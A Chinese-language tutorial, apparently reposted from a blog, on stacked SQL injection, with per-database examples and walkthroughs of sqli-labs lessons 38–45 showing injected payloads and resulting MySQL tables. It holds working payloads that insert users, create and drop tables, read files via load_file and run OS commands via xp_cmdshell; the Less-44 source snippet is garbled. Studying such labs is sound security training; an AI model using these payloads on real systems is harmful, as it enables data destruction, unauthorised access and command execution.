堆疊注入詳解


 

0x00 堆疊注入定義

      Stacked injections(堆疊注入)從名詞的含義就可以看到應該是一堆 sql 語句(多條)一起執行。而在真實的運用中也是這樣的, 我們知道在 mysql 中, 主要是命令行中, 每一條語句結尾加; 表示語句結束。這樣我們就想到了是不是可以多句一起使用。這個叫做 stacked  injection

0x01 堆疊注入原理

      在SQL中,分號(;)是用來表示一條sql語句的結束。試想一下我們在 ; 結束一個sql語句后繼續構造下一條語句,會不會一起執行?因此這個想法也就造就了堆疊注入。而union injection(聯合注入)也是將兩條語句合並在一起,兩者之間有什么區別么?區別就在於union 或者union all執行的語句類型是有限的,可以用來執行查詢語句,而堆疊注入可以執行的是任意的語句。例如以下這個例子。用戶輸入:1; DELETE FROM products服務器端生成的sql語句為: Select * from products where productid=1;DELETE FROM products當執行查詢后,第一條顯示查詢信息,第二條則將整個表進行刪除。

0x02 堆疊注入的局限性

堆疊注入的局限性在於並不是每一個環境下都可以執行,可能受到API或者數據庫引擎不支持的限制,當然了權限不足也可以解釋為什么攻擊者無法修改數據或者調用一些程序。

此圖是從原文中截取過來的,因為我個人的測試環境是php+mysql,是可以執行的,此處對於mysql/php存在質疑。但個人估計原文作者可能與我的版本的不同的原因。雖然我們前面提到了堆疊查詢可以執行任意的sql語句,但是這種注入方式並不是十分的完美的。在我們的web系統中,因為代碼通常只返回一個查詢結果,因此,堆疊注入第二個語句產生錯誤或者結果只能被忽略,我們在前端界面是無法看到返回結果的。因此,在讀取數據時,我們建議使用union(聯合)注入。同時在使用堆疊注入之前,我們也是需要知道一些數據庫相關信息的,例如表名,列名等信息。

0x03 各個數據庫實例介紹

本節我們從常用數據庫角度出發,介紹幾個類型的數據庫的相關用法。數據庫的基本操作,增刪查改。以下列出數據庫相關堆疊注入的基本操作。

1.Mysql

(1)新建一表 

select * from users where id=1;create table test like users;

執行成功,我們再去看一下是否新建成功表。

2)刪除上面新建的test表

select * from users where id=1;drop table test;

3)查詢數據

select * from users where id=1;select 1,2,3;

(4)加載文件  

select * from users where id=1;select load_file('c:/tmpupbbn.php');

(4) 修改數據

select * from users where id=1;insert into users(id,username,password) values ('100','new','new');

2. Sql server

(1)增加數據表

select * from test;create table sc3(ss CHAR(8));

(2) 刪除數據表

select * from test;drop table sc3;

(4)查詢數據

select 1,2,3;select * from test;

(5)修改數據

select * from test;update test set name='test' where id=3;

(5)sqlserver中最為重要的存儲過程的執行

select * from test where id=1;exec master..xp_cmdshell 'ipconfig'

3.Oracle

上面的介紹中我們已經提及,oracle不能使用堆疊注入,可以從圖中看到,當有兩條語句在同一行時,直接報錯。無效字符。后面的就不往下繼續嘗試了。

4.Postgresql

(1)新建一個表  

 select * from user_test;create table user_data(id DATE);

可以看到user_data表已經建好。

(2)刪除上面新建的user_data

select * from user_test;delete from user_data;

(3)查詢數據

select * from user_test;select 1,2,3;

(4) 修改數據

 select * from user_test;update user_test set name='modify' where name='張三';

 

0x04 堆疊注入之sqllaps實列

 

1.Less-38 堆疊注入 - 字符型 - GET

1)源代碼

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

 

2)測試

?id=1’;insert into users(id,username,password) values (‘38’,’less38’,’hello’)–+
mysql> select * from users;

+----+----------+------------+

| id | username | password   |

+----+----------+------------+

|  1 | Dumb     | Dumb       |

|  2 | Angelina | I-kill-you |

|  3 | Dummy    | p@ssword   |

|  4 | secure   | crappy     |

|  5 | stupid   | stupidity  |

|  6 | superman | genious    |

|  7 | batman   | mob!le     |

|  8 | admin    | admin      |

|  9 | admin1   | admin1     |

| 10 | admin2| admin2     |

| 11 | admin3| admin3     |

| 12 | dhakkan| dumbo      |

| 14 | admin4| admin4     |

| 38 | less38| hello      |

+----+----------+------------+

14 rows in set (0.00 sec)

發現已經添加了一個 less38 用戶

?id=1’;create table less38 like users;

?id=1’;drop table less38;

2.Less-39 堆疊注入 - 整型 - GET

1)源代碼

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

2)測試

?id=1;insert into users(id,username,password) values (‘39’,’less39’,’hello’)–-

 

mysql> select * from users;

+----+----------+------------+

| id | username | password   |

+----+----------+------------+

|  1 | Dumb     | Dumb       |

|  2 | Angelina | I-kill-you |

|  3 | Dummy    | p@ssword   |

|  4 | secure   | crappy     |

|  5 | stupid   | stupidity  |

|  6 | superman | genious    |

|  7 | batman   | mob!le     |

|  8 | admin    | admin      |

|  9 | admin1   | admin1     |

| 10 | admin2| admin2     |

| 11 | admin3| admin3     |

| 12 | dhakkan| dumbo      |

| 14 | admin4| admin4     |

| 38 | less38| hello      |

| 39 | less39| hello      |

+----+----------+------------+

15 rows in set (0.00 sec)

可以看到已經添加了 less39 用戶了

?id=1;create table less39 like users;

?id=1;drop table less39;

3.Less-40 盲注 - 堆疊注入 - 字符型 - GET

1)源代碼

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

2)測試

?id=1’); insert into users(id,username,password) values (‘40’,’less40’,’hello’)–+

 

mysql> select * from users;

+-----+----------+------------+

| id  | username | password   |

+-----+----------+------------+

|   1 | Dumb     | Dumb       |

|   2 | Angelina | I-kill-you |

|   3 | Dummy    | p@ssword   |

|   4 | secure   | crappy     |

|   5 | stupid   | stupidity  |

|   6 | superman | genious    |

|   7 | batman   | mob!le     |

|   8 | admin    | admin      |

|   9 | admin1   | admin1     |

|  10 | admin2   | admin2     |

|  11 | admin3   | admin3     |

|  12 | dhakkan  | dumbo      |

|  14 | admin4   | admin4     |

|  38 | less38   | hello      |

|  39 | less39   | hello      |

| 109 | hello| hello      |

|  40 | less40   | hello      |

+-----+----------+------------+

17 rows in set (0.00 sec)

看到添加了 less40 用戶

?id=1’);create table less40 like users;

?id=1’);drop table less40;

4.Less-41 盲注 - 堆疊注入 - 整型 - GET

1)源代碼

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

2)測試(盲注)

創建users表和增加字段值

?id=1; insert into users(id,username,password) values (‘110’,’less41’,’hello’)–+
mysql> select * from users;

+-----+----------+------------+

| id  | username | password   |

+-----+----------+------------+

|   1 | Dumb     | Dumb       |

|   2 | Angelina | I-kill-you |

|   3 | Dummy    | p@ssword   |

|   4 | secure   | crappy     |

|   5 | stupid   | stupidity  |

|   6 | superman | genious    |

|   7 | batman   | mob!le     |

|   8 | admin    | admin      |

|   9 | admin1   | admin1     |

|  10 | admin2   | admin2     |

|  11 | admin3   | admin3     |

|  12 | dhakkan  | dumbo      |

|  14 | admin4   | admin4     |

|  38 | less38   | hello      |

|  39 | less39   | hello      |

| 109 | hello| hello      |

|  40 | less40   | hello      |

| 110 | less41| hello      |

+-----+----------+------------+

18 rows in set (0.00 sec)

添加了用戶 less41

?id=1;create table less41 like users;  //增加表

?id=1;drop table less41;  //刪除表

5.Less-42 報錯型堆疊注入 - 字符型 - POST

1)源代碼(login.php):

 

$username = mysqli_real_escape_string($con1, $_POST["login_user"]);

$password = $_POST["login_password"];

$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";  

 

Password 變量在post 過程中,沒有通過 mysql_real_escape_string() 函數的處理。因此在登錄的時候密碼選項我們可以進行 attack

2)報錯測試

測試語句:

username:任意

password :  c';drop table me#   # 刪除 me 表

或者:

username:任意

password : c';create table me like users# // 創建一個 me 表

登錄之前查看表:

mysql> show tables;

+--------------------+

| Tables_in_security |

+--------------------+

| emails|

| referers|

| uagents|

| users|

+--------------------+

4 rows in set (0.00 sec)

登錄前創建表

username :admin

password :  c';create table less42 like users#

登錄后查看創建表

mysql> show tables;

+--------------------+

| Tables_in_security |

+--------------------+

| emails|

| less42|

| referers|

| uagents|

| users|

+--------------------+

5 rows in set (0.00 sec)

發現添加了一個 less42 表,登錄時構造的 sql 語句為:

SELECT * FROM users WHERE username=’admin’ and password=’c’;create table less42 like users–+     //利用 c’;drop table me#作為登錄密碼,刪除該表。

登錄前刪除表

username: admin 
password :  c’;drop table less42#

登錄后查看刪除表

mysql> show tables;

+--------------------+

| Tables_in_security |

+--------------------+

| emails|

| referers|

| uagents|

| users|

+--------------------+

4 rows in set (0.00 sec)

6.Less-43 報錯型 - 堆疊注入 - 字符型 - POST

1)源代碼

$username = mysqli_real_escape_string($con1, $_POST["login_user"]);

$password = $_POST["login_password"];

$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";

2)測試

登錄前測創建表

username : admin

password:  c');create table less43 like users#

登錄后查看增加表

mysql> show tables;

+--------------------+

| Tables_in_security |

+--------------------+

| emails|

| less43|

| referers|

| uagents|

| users|

+--------------------+

5 rows in set (0.00 sec)

登錄前測試刪除表

username :admin

password : c');drop table less43#

登錄后查看刪除表

mysql> show tables;

+--------------------+

| Tables_in_security |

+--------------------+

| emails|

| referers|

| uagents|

| users|

+--------------------+

4 rows in set (0.00 sec)

6.Less-44 盲注 - 堆疊注入 - 字符型 - POST

1)源代碼

username=mysqlirealescapestring(username=mysqlirealescapestring(con1, POST[“loginuser”]);POST[“loginuser”]); password =

POST[“loginpassword”];POST[“loginpassword”]; sql = "SELECT * FROM users WHERE

username='username′andpassword=′username′andpassword=′password’”;

2)測試(盲注)

登錄前測試插入表和值

username : admin

password : a';insert into users(id,username,password) values ('144','less44','hello')#

登錄后查看增加表和值

mysql> select * from users;

+-----+----------+------------+

| id  | username | password   |

+-----+----------+------------+

|   1 | Dumb     | Dumb       |

|   2 | Angelina | I-kill-you |

|   3 | Dummy    | p@ssword   |

|   4 | secure   | crappy     |

|   5 | stupid   | stupidity  |

|   6 | superman | genious    |

|   7 | batman   | mob!le     |

|   8 | admin    | admin      |

|   9 | admin1   | admin1     |

|  10 | admin2   | admin2     |

|  11 | admin3   | admin3     |

|  12 | dhakkan  | dumbo      |

|  14 | admin4   | admin4     |

|  38 | less38   | hello      |

|  39 | less39   | hello      |

| 109 | hello| hello      |

|  40 | less40   | hello      |

| 110 | less41| hello      |

| 144 | less44| hello      |

+-----+----------+------------+

19 rows in set (0.00 sec)

7.Less-45 報錯型堆疊注入 - 字符型 - POST

1)源代碼

$username = mysqli_real_escape_string($con1, $_POST["login_user"]);

$password = $_POST["login_password"];

$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";

2)測試

登錄前測試增加表

username :  admin

password :  c');create table less45 like users#   //創建了less45表

登錄后查看增加表

mysql> show tables;

+--------------------+

| Tables_in_security |

+--------------------+

| emails|

| less45|

| referers|

| uagents|

| users|

+--------------------+

5 rows in set (0.00 sec)

登錄前測試刪除表

username: admin

password : c');drop table less45#

登錄后查看刪除表

mysql> show tables;

+--------------------+

| Tables_in_security |

+--------------------+

| emails|

| referers|

| uagents|

| users|

+--------------------+

4 rows in set (0.00 sec)




免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM